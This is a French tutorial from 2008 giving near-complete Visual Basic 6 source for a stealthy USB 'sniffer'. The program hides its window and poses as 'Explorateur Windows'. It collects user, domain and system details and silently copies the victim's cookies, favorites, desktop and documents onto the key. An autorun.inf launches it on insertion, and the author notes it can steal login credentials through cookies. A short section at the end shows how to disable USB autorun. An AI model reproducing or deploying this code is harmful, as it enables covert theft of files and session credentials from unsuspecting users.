0x01. PRESENTATION
Le programme que je vais vous présenter, est un programme présent sur la clé, qui aura pour action de récupérer les fichiers des favoris, des cookies, des documents et du bureau. Ces dossiers particuliers ont des emplacements variables qu'il nous faudra récuperer. Ensuite il faudra rendre le programme aussi furtif que possible, mais sans rentrer dans le détail, sans que notre programme ait les particularités des rootkits (chargement de drivers, crochetage de fonctions systèmes...).
L'intérêt d'un tel programme peut être par exemple, lors de la mise à jour d'un parc informatique, d'avoir à récupérer les anciennes configurations, il suffit alors d'insérer la clé USB pour auditer la configuration du poste actuel, plutôt que lancer le programme, imaginez un peu le gain de temps, l'insertion d'une clé pour récupérer des informations sur un poste, ça pourrait même se faire sans interrompre l'utilisation du poste de l'utilisateur.
Dans un esprit un peu plus malsain, ça peut permettre de voler les identifiants de connexion (grâce aux cookies) qui eux n'ont pas besoin d'être récupérer dans un tel cas.
Je ne me place dans aucun des deux contextes ci-dessus, cela montre une fois de plus que le virus vient de la main de l'Homme, et que si du mal est fait il est nécessairement voulu.
0x02. PROGRAMME
Nous allons tout d'abord tenter de rendre le programme furtif. Pour cela, nous allons donner des noms d'application assez commun aux systèmes Windows.
' Fonction de démarrage de la feuille Private Sub Form_Load() ' Nous nous assurons que le programme n est pas visible Me.Top = -10000 Me.Left = -10000 Me.Hide Me.Visible = False App.Title = "Explorateur Windows" ' Audite la configuration, récupère les programmes installés ' et les informations d environnement (username, computername, proxy...) AuditMachine AudtiApp ' Nous ouvrons le lecteur oà se trouve le programme : ' g:\\usbsniffer\\explorer.exe ouvrira g: Lecteur = Mid(App.Path, 1, 3) Shell "explorer.exe " + Lecteur, vbNormalFocus ' Récupère les favoris, cookies, fichiers du bureau... ObtenirLesFichiers ' ...et du dossier "Mes documents" ' CopierLesDocuments ' Décharge la feuille... Unload Me ' ...et quitte le programme End End Sub
Une fois la fonction principale et le plan déterminés ils faut maintenant écrire les fonctions dont nous avons besoin : ObtenirLesFichiers, AudtiApp et AuditMachine .
Dans un nouveau module nous allons donc les écrire. Pour ces fonctions nous aurons besoin d'objets Windows, d'utiliser ses API pour aller simplement pointer sur le registre . Nous allons utiliser les propriétés des objets Windows Shell Scripting. Il nous faut tout d'abord créer un rapport. Pour cela en variable globale il y aura le dossier du rapport :
Public DOSSIER_RAPPORT As String
Le module AuditMachine
Set FileSys = CreateObject("Scripting.FileSystemObject") Set TxtFile = FileSys.CreateTextFile(FichierConfig, True)
En ce qui concerne la récupération d'information, nous récupérons d'abord l'adresse IP ou le nom du proxy d'Internet Explorer, ainsi que son script de connexion :
Dim ws Set ws = CreateObject("WScript.Shell") ProxyServer = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer") AutoConfigURL = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL") Text = "<br><br><br><br><u>Configuration Internet :</u><br><br>" Text = Text & "Proxy : " & ProxyServer & "<br>" Text = Text & "Script de config. : " & AutoConfigURL & "<br>" TxtFile.writeline Text 'wscript.echo "Audit des mappage réseau : Ok" TxtFile.writeline "</table> <p><a aligne=center href=javascript:self.print()>Imprimer le document</a></p></pre>" TxtFile.Close
Nous récupérons ensuite l'environnement de la machine et de l'utilisateur :
Text = "Profile : " & Environ("USERNAME") & "<br>" Text = Text & "Ordinateur : " & Environ("COMPUTERNAME") & "<br>" Text = Text & "Chemin du profil : " & Environ("USERPROFILE") & "<br>" Text = Text & "Domaine utilisateur : " & Environ("USERDOMAIN") & "<br>" Text = Text & "Serveur d'authentification : " & Environ("LOGONSERVER") & "<br><hr>" TxtFile.writeline Text
Puis pour finir par les imprimantes partagées :
' On utilise le langage WMI interposé sur Visual Basic pour interroger les imprimantes partagées : Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\\\" & strComputer & "\\root\\cimv2") Set colInstalledPrinters = objWMIService.ExecQuery("Select * from Win32_Printer") For Each objPrinter In colInstalledPrinters Text = Text & "<b>Nom: </b>" & objPrinter.Name Text = Text & "<br><b>imprimante par défaut</b> : " & objPrinter.Default Text = Text & "<br><b>Port: </b>" & objPrinter.PortName Text = Text & "<br><b>Imprimante Reseau:</b> " & objPrinter.Network If objPrinter.Default = True Then prntName = "> " & objPrinter.Name Else prntName = objPrinter.Name End If Text = Text & "<br><br>" comp = Text TxtFile.writeline (comp) Text = "" Next
Le module AudtiApp
Voici les variables à définir :
Set FileSys = CreateObject("Scripting.FileSystemObject") FichierApps = DOSSIER_RAPPORT + "\\Applications.html" Set TxtFile = FileSys.CreateTextFile(FichierApps, True) Const HKLM = &H80000002 'HKEY_LOCAL_MACHINE strComputer = "." strKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" strEntry1a = "DisplayName" strEntry1b = "QuietDisplayName" 'strEntry2 = "InstallDate" strEntry3 = "VersionMajor" strEntry4 = "VersionMinor" 'strEntry5 = "EstimatedSize" ' Interrogation WMI sur les programmes installé et enregistrés (dans le registre) Set objReg = GetObject("winmgmts://" & strComputer & "/root/default:StdRegProv") objReg.EnumKey HKLM, strKey, arrSubkeys
Mise en forme du rapport :
TxtFile.writeline "<font face='courier' size=2><table cellspacing=10><tr><td><b>Applications installées</b></td></tr>"
Pour chaque application trouvée, nous affichons sont DisplayName (nom), QuietDisplayName (nom simplifié), VersionMajoret (version) son VersionMinor (correctif) :
i = 0 For Each strSubkey In arrSubkeys intRet1 = objReg.GetStringValue(HKLM, strKey & strSubkey, strEntry1a, strValue1) If intRet1 <> 0 Then objReg.GetStringValue HKLM, strKey & strSubkey, strEntry1b, strValue1 End If If strValue1 <> "" Then If InStr(strValue1, "Mise à jour") = 0 And InStr(strValue1, "Correctif") = 0 And InStr(strValue1, "Update") = 0 Then i = i + 1 If strValue1 <> "" Then If i Mod 2 = 0 Then Text = Text & "<tr bgcolor= #CCCCCC><td>" & strValue1 & "</td>" Else Text = Text & "<tr bgcolor= #FFFFFF><td>" & strValue1 & "</td>" End If Else Text = Text & "<td></td>" End If objReg.GetDWORDValue HKLM, strKey & strSubkey, strEntry3, intValue3 objReg.GetDWORDValue HKLM, strKey & strSubkey, strEntry4, intValue4 If intValue3 <> "" Then Text = Text & "<td>" & intValue3 & "." & intValue4 & "</td>" Else Text = Text & "<td></td>" End If Text = Text & "</tr>" comp = Text If strValue1 <> "" Then TxtFile.writeline (comp) End If End If End If Text = "" Next
Sans oublier la mise en forme HTML :
TxtFile.writeline "</table></font> <p><a align=center href=javascript:self.print()>imprimer le document</a></p>" TxtFile.Close
Le module ObtenirLesFichiers
Dans un premier temps, nous cherchons dans le registre les chemin des dossiers particuliers :
Dim ws Set ws = CreateObject("WScript.Shell") On Error Resume Next: Favorites = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Favorites") On Error Resume Next: desktop = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Desktop") On Error Resume Next: cookies = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Cookies") On Error Resume Next: Personal = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Personal") Favoris = DOSSIER_RAPPORT + "\\Favoris" Bureau = DOSSIER_RAPPORT + "\\Bureau" Gateaux = DOSSIER_RAPPORT + "\\Cookies" Fichiers = DOSSIER_RAPPORT + "\\Documents" Dim FSO Set FSO = CreateObject("Scripting.FileSystemObject") On Error Resume Next: FSO.CopyFolder Favorites, Favoris On Error Resume Next: FSO.CopyFolder desktop, Bureau On Error Resume Next: FSO.CopyFolder cookies, Gateaux On Error Resume Next: FSO.CopyFolder Personal, Fichiers
0x03. AUTORUN.INF
Maintenant que nous avons notre programme, nous allons le rendre auto-exécutable à partir d'un clé USB, pour cela on oubliera pas les DLLs VB : Vb6fr.dll et msvbvm60.dll . Mais il faut un fichier autorun.inf pour qu'une fois la clé USB insérée il suffise d'un double-clique :
[AutoRun] shellexecute=autorun\\explorer.exe
0x04. SECURISATION
Pour désactiver l'autorun des clé USB, il faut inscrire dans un fichier NoUSBAutorun.reg :
Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer] "NoDriveTypeAutoRun"=hex:00,00,00,ff [HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer] "NoDriveTypeAutoRun"=hex:00,00,00,ff [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\IniFileMapping\\Autorun.inf] @="@SYS:DoesNotExist"
0x05. CONCLUSION
Voici les programmes utilisés au cours de ce tutoriel
Sources complètes du programme décrit.
=> Écrit par : Nicolas, le 13 novembre 2008